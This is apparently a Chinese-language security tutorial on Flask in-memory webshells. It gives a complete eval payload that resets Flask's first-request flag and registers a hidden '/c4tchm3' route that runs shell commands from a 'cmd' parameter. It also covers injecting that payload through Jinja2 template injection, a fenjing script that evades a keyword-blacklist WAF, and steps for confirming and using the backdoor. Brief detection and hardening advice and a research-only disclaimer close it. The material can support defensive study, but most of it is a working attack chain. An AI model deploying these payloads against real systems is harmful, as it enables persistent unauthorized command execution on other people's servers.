Flask 内存马从初识到进阶 - 兼容新版 Flask 的内存马打法
字数 1071 2025-08-22 12:23:06
Flask 内存马技术详解:从原理到实战
一、内存马概述
1.1 什么是内存马
内存马(Memory Shell)是一种通过动态修改服务端运行逻辑植入的后门技术,特点:
- 不依赖文件系统,直接驻留在内存中
- 通过添加恶意路由实现命令执行
- 无需反弹shell,直接通过HTTP请求执行命令
- 绕过传统文件检测机制
1.2 Flask内存马工作原理
Flask内存马通过以下步骤实现:
- 找到运行中的Flask应用对象(app)
- 定义一个执行系统命令的函数
- 将该函数注册为新的路由
- 通过访问该路由执行任意命令
二、技术演进与问题分析
2.1 传统内存马实现方式
传统实现直接调用app.add_url_rule方法:
def backdoor():
import os
cmd = request.args.get('cmd', 'id')
return os.popen(cmd).read()
app.add_url_rule('/backdoor', 'backdoor', backdoor)
2.2 新版Flask的限制
Flask 2.0+引入了@setupmethod装饰器,会在应用处理第一个请求后禁止添加新路由,错误信息:
AssertionError: The setup method 'add_url_rule' can no longer be called on the application...
2.3 问题根源分析
@setupmethod装饰器会检查app._got_first_request标志:
def _check_setup_finished(self, f_name: str):
if self._got_first_request:
raise AssertionError(...)
三、新版Flask内存马实现
3.1 关键技术突破
绕过限制的核心方法:
app.__dict__.update({'_got_first_request': False})
3.2 完整payload解析
[
__import__('time').sleep(3) # 加载成功标志
for flask in [__import__("flask")]
for app in __import__("gc").get_objects() # 遍历所有对象
if type(app) == flask.Flask # 找到Flask实例
for jinja_globals in [app.jinja_env.globals]
for c4tchm3 in [
lambda: __import__('os').popen(
jinja_globals["request"].args.get("cmd", "id")
).read()
]
if [
app.__dict__.update({'_got_first_request': False}), # 重置标志
app.add_url_rule( # 添加恶意路由
"/c4tchm3",
endpoint="c4tchm3",
view_func=c4tchm3
)
]
]
3.3 payload特点
- 使用列表推导式实现多步操作
- 通过
gc.get_objects()动态查找Flask实例 - 内置3秒延迟作为加载成功标志
- 兼容eval执行环境
四、实战应用场景
4.1 通过SSTI注入
Jinja2模板注入示例:
{{lipsum.__globals__.__builtins__.eval('上述payload')}}
URL编码版本:
%7B%7Blipsum.__globals__.__builtins__.eval%28...%29%7D%7D
4.2 使用fenjing绕过WAF
from fenjing import full_payload_gen
import logging
from urllib.parse import quote
logging.basicConfig(level=logging.INFO)
payload = """[ __import__('time')... ]"""
def waf(s: str):
blacklist = ["config", "self", "g", "os", "class", ...]
return all(word not in s for word in blacklist)
gen = full_payload_gen.FullPayloadGen(waf)
payload, _ = gen.generate("eval", ("string", payload))
print(quote(payload))
4.3 使用方法
- 注入payload后,访问
/c4tchm3?cmd=whoami执行命令 - 观察3秒延迟确认注入成功
五、防御措施
5.1 检测方法
- 监控异常路由添加行为
- 检查
_got_first_request标志篡改 - 扫描
gc.get_objects()的异常使用
5.2 防护建议
- 禁用危险的内置函数(eval, exec等)
- 严格过滤模板输入
- 使用最新版Flask并监控安全更新
- 部署RASP解决方案
六、技术总结
Flask内存马技术演进:
- 初期:直接调用add_url_rule
- 中期:绕过路由添加限制
- 现在:结合对象遍历和标志重置的完整方案
关键点:
- 理解Flask路由机制
- 掌握Python运行时对象操作
- 熟悉WAF绕过技巧
- 了解新版Flask安全机制
附录:相关资源
- Flask官方文档:路由系统
- Python gc模块文档
- Jinja2模板安全指南
- fenjing项目地址
注意:本文仅用于安全研究和技术学习,请勿用于非法用途。